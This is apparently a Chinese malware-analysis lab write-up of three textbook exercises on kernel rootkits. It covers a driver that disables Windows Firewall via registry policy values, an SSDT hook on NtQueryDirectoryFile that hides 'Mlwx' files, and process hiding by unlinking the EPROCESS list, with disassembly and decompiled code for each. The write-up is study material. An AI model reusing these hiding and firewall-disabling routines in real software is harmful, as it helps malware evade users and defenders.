恶意代码分析实战笔记恶意代码分析实战 Lab10
IvoripuionLab10-01
静态分析
查看程序的导入函数:
该程序创建一个服务,控制一个服务,启动一个服务。
存在获取程序命令行参数,写文件,载入库,内存管理等相关操作。
驱动的导入函数:
存在注册表的修改操作。
Lab10-01.exe首先调用OpenSCManagerA获取服务管理器句柄:
1 2 3 4 5 6
| .text:00401000 sub esp, 1Ch .text:00401003 push edi .text:00401004 push 0F003Fh .text:00401009 push 0 .text:0040100B push 0 .text:0040100D call ds:OpenSCManagerA
|
连接成功则调用CreateServiceA创建一个名为Lab10-01的服务,该服务使用了”C:\Windows\System32\Lab10-01.sys”中的指令,dwServiceType为1,即SERVICE_KERNEL_DRIVER,表明服务会被加载进内核:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| .text:00401020 create_service_401020: .text:00401020 push esi .text:00401021 push 0 .text:00401023 push 0 .text:00401025 push 0 .text:00401027 push 0 .text:00401029 push 0 .text:0040102B push offset BinaryPathName .text:00401030 push 1 .text:00401032 push 3 .text:00401034 push 1 .text:00401036 push 0F01FFh .text:0040103B push offset ServiceName .text:00401040 push offset ServiceName .text:00401045 push edi .text:00401046 call ds:CreateServiceA
|
若服务因为以及存在而创建失败,就会打开Lab10-01服务并获取句柄:
1 2 3 4
| .text:00401052 push 0F01FFh .text:00401057 push offset ServiceName .text:0040105C push edi .text:0040105D call ds:OpenServiceA
|
然后开启创建的服务:
1 2 3 4 5
| .text:00401069 loc_401069: .text:00401069 push 0 .text:0040106B push 0 .text:0040106D push esi .text:0040106E call ds:StartServiceA
|
最后调用ControlService来停止服务并卸载驱动:
1 2 3 4 5
| .text:00401078 lea eax, [esp+24h+ServiceStatus] .text:0040107C push eax .text:0040107D push 1 .text:0040107F push esi .text:00401080 call ds:ControlService
|
驱动的entry point,将一个函数的地址存放到参数a1+52的地址处:
1 2 3 4 5
| int __stdcall DriverEntry(int a1, int a2) { *(a1 + 52) = regEdit_10486; return 0; }
|
regEdit_10486函数主体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| NTSTATUS __stdcall regEdit_10486(int a1) { int ValueData;
ValueData = 0; RtlCreateRegistryKey(0, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft"); RtlCreateRegistryKey(0, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall"); RtlCreateRegistryKey(0, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile"); RtlCreateRegistryKey(0, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile"); RtlWriteRegistryValue( 0, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile", &ValueName, 4u, &ValueData, 4u); return RtlWriteRegistryValue( 0, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile", &ValueName, 4u, &ValueData, 4u); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| .text:00010486 mov edi, edi .text:00010488 push ebp .text:00010489 mov ebp, esp .text:0001048B push ecx .text:0001048C push ebx .text:0001048D push esi .text:0001048E mov esi, ds:RtlCreateRegistryKey .text:00010494 push edi .text:00010495 xor edi, edi .text:00010497 push offset Path .text:0001049C push edi .text:0001049D mov [ebp+ValueData], edi .text:000104A0 call esi .text:000104A2 push offset aRegistryMachin_0 .text:000104A7 push edi .text:000104A8 call esi .text:000104AA push offset aRegistryMachin_1 .text:000104AF push edi .text:000104B0 call esi .text:000104B2 mov ebx, offset aRegistryMachin_2 .text:000104B7 push ebx .text:000104B8 push edi .text:000104B9 call esi .text:000104BB mov esi, ds:RtlWriteRegistryValue .text:000104C1 push 4 .text:000104C3 lea eax, [ebp+ValueData] .text:000104C6 push eax .text:000104C7 push 4 .text:000104C9 mov edi, offset ValueName .text:000104CE push edi .text:000104CF push offset aRegistryMachin_1 .text:000104D4 push 0 .text:000104D6 call esi .text:000104D8 push 4 .text:000104DA lea eax, [ebp+ValueData] .text:000104DD push eax .text:000104DE push 4 .text:000104E0 push edi .text:000104E1 push ebx .text:000104E2 push 0 .text:000104E4 call esi .text:000104E6 pop edi .text:000104E7 pop esi .text:000104E8 pop ebx .text:000104E9 leave .text:000104EA retn 4 .text:000104EA sub_10486 endp
|
即写入一些注册表的值来禁用防火墙。
Q1:这个程序是否直接修改了注册表(使用procmon来检查)?
可以通过procmon追到一条设置种子的注册表修改操作:
Q2:用户态的程序调用了ControlService函数,你是否能够使用WinDbg设置一个断点,以此来观察由于ControlService的调用导致内核执行了怎样的操作?
在恶意代码call ds:ControlService时下断点bp 00401080
,然后在物理机器的windbg中查看驱动的结构体:
结构体0x34偏移处的DriverUnload(驱动卸载函数,即之前分析的regEdit_10486函数)值为:0xf8d11486。
- 这里由于ASLR的原因,地址除了最后的1.5 byte的值486,其余的值都是随机的,而得到的地址的最后1.5 byte为486与函数RVA最后1.5 byte相同也说明了动态调试得到的DriverUnload函数地址的正确性。
之后即是regEdit_10486中的流程,对注册表进行一些修改,如:
1
| RtlCreateRegistryKey(0, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft");
|
Q3:这个程序做了什么?
程序创建了一个服务来加载驱动Lab10-01,该驱动会通过设置注册表
\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile
以及
\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile
来关闭防火墙。
Lab10-02
静态分析
程序首先载入一个”FILE”资源:
1 2 3 4 5 6 7 8
| .text:00401004 push offset Type .text:00401009 push 65h .text:0040100B push 0 .text:0040100D call ds:FindResourceA .text:00401013 mov edi, eax .text:00401015 push edi .text:00401016 push 0 .text:00401018 call ds:LoadResource
|
该资源是一个PE文件:
载入成功便将其创建为:”C:\Windows\System32\Mlwx486.sys”:
1 2 3 4 5 6 7 8 9 10 11
| .text:0040101E test edi, edi .text:00401020 mov ebx, eax .text:00401022 jz exit_4010FF .text:00401028 push 0 .text:0040102A push 80h .text:0040102F push 2 .text:00401031 push 0 .text:00401033 push 0 .text:00401035 push 0C0000000h .text:0040103A push offset BinaryPathName .text:0040103F call ds:CreateFileA
|
文件创建成功则将其创建为一个服务”486 WS Driver”:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| .text:00401045 mov esi, eax .text:00401047 cmp esi, 0FFFFFFFFh .text:0040104A jz exit_4010FF .text:00401050 lea eax, [esp+10h+NumberOfBytesWritten] .text:00401054 push 0 .text:00401056 push eax .text:00401057 push edi .text:00401058 push 0 .text:0040105A call ds:SizeofResource .text:00401060 push eax .text:00401061 push ebx .text:00401062 push esi .text:00401063 call ds:WriteFile .text:00401069 push esi .text:0040106A call ds:CloseHandle .text:00401070 push 0F003Fh .text:00401075 push 0 .text:00401077 push 0 .text:00401079 call ds:OpenSCManagerA .text:0040107F test eax, eax .text:00401081 jnz short create_service_401097 ........ .text:00401097 create_service_401097: .text:00401097 push 0 .text:00401099 push 0 .text:0040109B push 0 .text:0040109D push 0 .text:0040109F push 0 .text:004010A1 push offset BinaryPathName .text:004010A6 push 1 .text:004010A8 push 3 .text:004010AA push 1 .text:004010AC push 0F01FFh .text:004010B1 push offset DisplayName .text:004010B6 push offset DisplayName .text:004010BB push eax .text:004010BC call ds:CreateServiceA .text:004010C2 mov esi, eax .text:004010C4 test esi, esi .text:004010C6 jnz short start_service_4010DC
|
开启该服务:
1 2 3 4 5
| .text:004010DC start_service_4010DC: .text:004010DC push 0 .text:004010DE push 0 .text:004010E0 push esi .text:004010E1 call ds:StartServiceA
|
最后关闭服务句柄:
1 2 3
| .text:004010F8 close_service_4010F8: .text:004010F8 push esi .text:004010F9 call ds:CloseServiceHandle
|
资源中提取出的FILE驱动文件的driver entry:
1 2 3 4 5 6 7
| INIT:000107AB mov edi, edi INIT:000107AD push ebp INIT:000107AE mov ebp, esp INIT:000107B0 call ___security_init_cookie INIT:000107B5 pop ebp INIT:000107B6 jmp _DriverEntry@8 INIT:000107B6 DriverEntry endp
|
_DriverEntry@8函数进入是一段对SSDT表进行挂钩的指令,用于查找NtQueryDirectoryFile
以及KeServiceDescriptorTable
的导出地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| INIT:00010706 mov edi, edi INIT:00010708 push ebp INIT:00010709 mov ebp, esp INIT:0001070B sub esp, 10h INIT:0001070E push esi INIT:0001070F mov esi, ds:RtlInitUnicodeString INIT:00010715 push edi INIT:00010716 push offset aNtquerydirecto INIT:0001071B lea eax, [ebp+DestinationString] INIT:0001071E push eax INIT:0001071F call esi INIT:00010721 push offset aKeservicedescr INIT:00010726 lea eax, [ebp+SystemRoutineName] INIT:00010729 push eax INIT:0001072A call esi INIT:0001072C mov esi, ds:MmGetSystemRoutineAddress INIT:00010732 lea eax, [ebp+DestinationString] INIT:00010735 push eax INIT:00010736 call esi INIT:00010738 mov edi, eax INIT:0001073A lea eax, [ebp+SystemRoutineName] INIT:0001073D push eax INIT:0001073E call esi
|
接下来遍历SSDT表,找出NtQueryDirectoryFile
地址的值:
1 2 3 4 5 6 7
| INIT:00010744 search_SSDT_10744: INIT:00010744 add eax, 4 INIT:00010747 cmp [eax], edi INIT:00010749 jz short loc_10754 INIT:0001074B inc ecx INIT:0001074C cmp ecx, 11Ch INIT:00010752 jl short search_SSDT_10744
|
最后使用sub_10486
的地址替换NtQueryDirectoryFile
的地址:
1 2 3 4 5 6 7 8 9 10
| INIT:00010754 loc_10754: INIT:00010754 mov dword_1068C, edi INIT:0001075A mov dword_10690, eax INIT:0001075F pop edi INIT:00010760 mov dword ptr [eax], offset sub_10486 INIT:00010766 xor eax, eax INIT:00010768 pop esi INIT:00010769 leave INIT:0001076A retn 8 INIT:0001076A _DriverEntry@8 endp
|
sub_10486
函数首先调用NtQueryDirectoryFile
:
1 2 3 4 5 6 7 8 9 10 11 12
| .text:00010490 push dword ptr [ebp+RestartScan] .text:00010493 push [ebp+FileName] .text:00010496 push dword ptr [ebp+ReturnSingleEntry] .text:00010499 push [ebp+FileInformationClass] .text:0001049C push [ebp+Length] .text:0001049F push esi .text:000104A0 push [ebp+IoStatusBlock] .text:000104A3 push [ebp+ApcContext] .text:000104A6 push [ebp+ApcRoutine] .text:000104A9 push [ebp+Event] .text:000104AC push [ebp+FileHandle] .text:000104AF call NtQueryDirectoryFile
|
然后比较FileInformationClass
是否为3,RestartScana
是否大于0,ReturnSingleEntry
是否为0:
1 2 3 4 5 6 7
| .text:000104B6 cmp [ebp+FileInformationClass], 3 .text:000104BA mov dword ptr [ebp+RestartScan], eax .text:000104BD jnz short loc_10505 .text:000104BF test eax, eax .text:000104C1 jl short loc_10505 .text:000104C3 cmp [ebp+ReturnSingleEntry], 0 .text:000104C7 jnz short loc_10505
|
1 2
| RestartScana = file_struct; if ( FileInformationClass == 3 && file_struct >= 0 && !ReturnSingleEntry )
|
其中file_struct是NtQueryDirectoryFile
的返回值。
然后检索到文件开始的字符,如果匹配”Mlwx”就进入接下来的操作:
1 2 3 4 5 6
| .text:000104CA push 8 .text:000104CC push offset Mlwx_1051A .text:000104D1 lea eax, [esi+5Eh] .text:000104D4 push eax .text:000104D5 xor bl, bl .text:000104D7 call ds:RtlCompareMemory
|
接下来进行隐藏文件的操作,隐藏文件的操作放在一个大循环中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| while ( 1 ) { v14 = 0; if ( RtlCompareMemory(file_information + 94, L"Mlwx", 8u) == 8 ) { v14 = 1; if ( v13 ) { if ( *file_information ) *v13 += *file_information; else *v13 = 0; } } if ( !*file_information ) break; if ( !v14 ) v13 = file_information; file_information = (file_information + *file_information); }
|
首先择出需要隐藏的文件:
1 2 3 4 5 6 7 8 9 10 11
| if ( RtlCompareMemory(file_information + 94, L"Mlwx", 8u) == 8 ) { v14 = 1; if ( v13 ) { if ( *file_information ) *v13 += *file_information; else *v13 = 0; } }
|
file_information为函数sub_10486
传入的参数,在原来函数NtQueryDirectoryFile
中的位置为FileInformation,这里指向的是当前文件的FILE_BOTH_DIR_INFORMATION结构体,v13是上一个文件的FILE_BOTH_DIR_INFORMATION结构体,*v13 += *file_information;
的操作完成后,当前文件的上一个文件的FILE_BOTH_DIR_INFORMATION结构体会指向当前文件下一个文件的FILE_BOTH_DIR_INFORMATION结构体,这样就实现了隐藏当前文件。
最后检查下一个FILE_BOTH_DIR_INFORMATION结构体:
1 2 3
| if ( !v14 ) v13 = file_information; file_information = (file_information + *file_information);
|
动态分析
运行Lab10-02.exe后可以检查到驱动Mlwx486被载入到系统中:
检查SSDT表可以看到偏移0x244处函数明显被修改为0xf8cde486,根据ASLR的原则,可以猜测出该地址的函数为之前分析的sub_10486
:
恢复到运行程序之前,检查出被修改的函数是NtQueryDirectoryFile
,与之前的静态分析结果相同:
在0xf8cde486设置断点并使断点被命中:
接下来运行的指令为sub_10486
函数内部的指令。
Q1:这个程序创建文件了吗?它创建了什么文件?
该程序将隐藏的资源FILE复制为文件”C:\Windows\System32\Mlwx486.sys”,这是一个驱动文件,并且当该驱动被挂载后,”C:\Windows\System32\Mlwx486.sys”文件将会被隐藏。
Q2:这个程序有内核组件吗?
该程序有一个内核模块,这个内核模块被隐藏在文件的资源节中,名为”FILE”,当程序运行后,隐藏的内核组建写入硬盘并作为一个服务挂载到内核。
Q3:这个程序做了些什么?
这个程序首先将资源节中的隐藏的PE文件复制为”C:\Windows\System32\Mlwx486.sys”,然后将该驱动挂载为一个服务。当驱动运行后,会通过SSDT挂钩将NtQueryDirectoryFile
修改为一个sub_10486
函数,该函数除了原有的NtQueryDirectoryFile
拥有的功能外,还会遍历”C:\Windows\System32”目录,将目录中以”Mlwx”为开头的文件隐藏。
Lab10-03
静态分析
Lab10-03.exe首先调用OpenSCManagerA获取服务管理器句柄:
1 2 3 4
| .text:00401004 push 0F003Fh .text:00401009 push 0 .text:0040100B push 0 .text:0040100D call ds:OpenSCManagerA
|
将”C:\Windows\System32\Lab10-03.sys”启动为一个服务,服务名为:”Process Helper”:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| .text:0040101B push 0 .text:0040101D push 0 .text:0040101F push 0 .text:00401021 push 0 .text:00401023 push 0 .text:00401025 push offset BinaryPathName .text:0040102A push 1 .text:0040102C push 3 .text:0040102E push 1 .text:00401030 push 0F01FFh .text:00401035 push offset DisplayName .text:0040103A push offset DisplayName .text:0040103F push eax .text:00401040 call ds:CreateServiceA
|
关闭服务句柄,得到\.\ProcHelper这个设备句柄:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| .text:00401057 loc_401057: .text:00401057 push esi .text:00401058 call ds:CloseServiceHandle .text:0040105E push 0 .text:00401060 push 80h .text:00401065 push 2 .text:00401067 push 0 .text:00401069 push 0 .text:0040106B push 0C0000000h .text:00401070 push offset FileName .text:00401075 call ds:CreateFileA .text:0040107B cmp eax, 0FFFFFFFFh .text:0040107E jnz short loc_40108C .text:00401080 mov eax, 1 .text:00401085 pop esi .text:00401086 add esp, 28h .text:00401089 retn 10h
|
发送一些信息到内核:
1 2 3 4 5 6 7 8 9 10 11 12 13
| .text:0040108C loc_40108C: .text:0040108C lea ecx, [esp+2Ch+BytesReturned] .text:00401090 push 0 .text:00401092 push ecx .text:00401093 push 0 .text:00401095 push 0 .text:00401097 push 0 .text:00401099 push 0 .text:0040109B push 0ABCDEF01h .text:004010A0 push eax .text:004010A1 call ds:DeviceIoControl .text:004010A7 push 0 .text:004010A9 call ds:OleInitialize
|
最后每隔30000ms打开一个广告页:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| .text:004010B3 lea edx, [esp+2Ch+ppv] .text:004010B7 push edi .text:004010B8 push edx .text:004010B9 push offset dword_4040E0 .text:004010BE push 4 .text:004010C0 push 0 .text:004010C2 push offset rclsid .text:004010C7 call ds:CoCreateInstance .text:004010CD mov eax, [esp+30h+ppv] .text:004010D1 test eax, eax .text:004010D3 jz short loc_40112A .text:004010D5 lea eax, [esp+30h+pvarg] .text:004010D9 push eax .text:004010DA call ds:VariantInit .text:004010E0 push offset psz .text:004010E5 mov [esp+34h+var_10], 3 .text:004010EC mov [esp+34h+var_8], 1 .text:004010F4 call ds:SysAllocString .text:004010FA mov edi, ds:Sleep .text:00401100 mov esi, eax
|
Lab10-01.sys首先创建一个名为”\Device\ProcHelper”的设备:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| INIT:0001071A push offset aDeviceProchelp INIT:0001071F lea eax, [ebp+DestinationString] INIT:00010722 push eax INIT:00010723 call edi INIT:00010725 mov esi, [ebp+DriverObject] INIT:00010728 lea eax, [ebp+DeviceObject] INIT:0001072B push eax INIT:0001072C push 0 INIT:0001072E push 100h INIT:00010733 push 22h INIT:00010735 lea eax, [ebp+DestinationString] INIT:00010738 push eax INIT:00010739 push 0 INIT:0001073B push esi INIT:0001073C call ds:IoCreateDevice
|
然后调用IoCreateSymbolicLink
创建了一个符号链接供用户态的应用程序访问这个设备:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| INIT:00010746 mov eax, offset sub_10606 INIT:0001074B mov [esi+38h], eax INIT:0001074E mov [esi+40h], eax INIT:00010751 push offset word_107DE INIT:00010756 lea eax, [ebp+SymbolicLinkName] INIT:00010759 push eax INIT:0001075A mov dword ptr [esi+70h], offset sub_10666 INIT:00010761 mov dword ptr [esi+34h], offset sub_1062A INIT:00010768 call edi INIT:0001076A lea eax, [ebp+DestinationString] INIT:0001076D push eax INIT:0001076E lea eax, [ebp+SymbolicLinkName] INIT:00010771 push eax INIT:00010772 call ds:IoCreateSymbolicLink
|
创建的符号链接:
1 2 3 4 5 6 7 8 9 10 11 12
| if ( result >= 0 ) { DriverObject->MajorFunction[0] = sub_10606; DriverObject->MajorFunction[2] = sub_10606; DriverObject->MajorFunction[14] = sub_10666; DriverObject->DriverUnload = sub_1062A; RtlInitUnicodeString(&SymbolicLinkName, &word_107DE); v3 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString); if ( v3 < 0 ) IoDeleteDevice(DeviceObject); result = v3; }
|
sub_10606
调用IofCompleteRequest
告诉操作系统请求这个驱动成功:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| PAGE:00010606 Irp = dword ptr 0Ch PAGE:00010606 PAGE:00010606 mov edi, edi PAGE:00010608 push ebp PAGE:00010609 mov ebp, esp PAGE:0001060B mov ecx, [ebp+Irp] PAGE:0001060E and dword ptr [ecx+18h], 0 PAGE:00010612 and dword ptr [ecx+1Ch], 0 PAGE:00010616 xor dl, dl PAGE:00010618 call ds:IofCompleteRequest PAGE:0001061E xor eax, eax PAGE:00010620 pop ebp PAGE:00010621 retn 8 PAGE:00010621 sub_10606 endp
|
sub_10666
修改了当前进程的PEB,用于隐藏当前进程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| int __stdcall sub_10666(int a1, PIRP Irp) { PEPROCESS cur_process; _DWORD *v3;
cur_process = IoGetCurrentProcess(); v3 = *(cur_process + 35); cur_process = (cur_process + 0x88); *v3 = *cur_process; *(*cur_process + 4) = *(cur_process + 1); Irp->IoStatus.Status = 0; Irp->IoStatus.Information = 0; IofCompleteRequest(Irp, 0); return 0; }
|
sub_1062A
删除驱动设备:
1 2 3 4 5 6 7 8 9 10 11
| void __stdcall sub_1062A(int a1) { _DEVICE_OBJECT *v1; struct _UNICODE_STRING DestinationString;
v1 = *(a1 + 4); RtlInitUnicodeString(&DestinationString, &SourceString); IoDeleteSymbolicLink(&DestinationString); if ( v1 ) IoDeleteDevice(v1); }
|
最后删除驱动并退出:
1 2
| INIT:0001077E push [ebp+DeviceObject] INIT:00010781 call ds:IoDeleteDevice
|
动态分析
首先获取驱动地址:
得到主函数表地址:
主函数表中除了处理default情况的函数,还存在两个人为嵌入的函数,分别覆盖了Create,Close以及DeviceIoControl函数:
查看一下其实就是之前分析的sub_10666
以及sub_10606
,这也与ASLR的原则相匹配:
sub_10666
修改的PEB中的0x88处的内容为_LIST_ENTRY:
结合之前分析的sub_10666
函数,首先得到前一个进程以及后一个进程:
1 2 3
| PAGE:00010671 mov ecx, [eax+8Ch] PAGE:00010677 add eax, 88h PAGE:0001067C mov edx, [eax]
|
截断链表隐藏进程:
1 2 3 4 5
| PAGE:0001067C mov edx, [eax] PAGE:0001067E mov [ecx], edx PAGE:00010680 mov ecx, [eax] PAGE:00010682 mov eax, [eax+4] PAGE:00010685 mov [ecx+4], eax
|
Q1:这个程序做了些什么?
首先将一个驱动装载为名为:”Process Helper”的服务,该服务会通过修改_LIST_ENTRY结构体将当前进程的PEB去除来隐藏恶意进程。然后服务不断的访问广告页”http://www.malwareanalysisbook.com/ad.html“ 。
Q2:一旦程序运行,你怎样停止它?
因为服务启动后进程的地址很难直接捕获,只能通过重启或者恢复虚拟机的方式终止进程。
Q3:它的内核组件做了什么操作?
用sub_10666
覆盖掉DeviceIoControl
函数,主程序Lab10-01.exe调用DeviceIoControl
时就会调度内存中的sub_10666
函数,从_LIST_ENTRY结构体链表中去除掉当前进程的PEB,从而实现隐藏当前进程。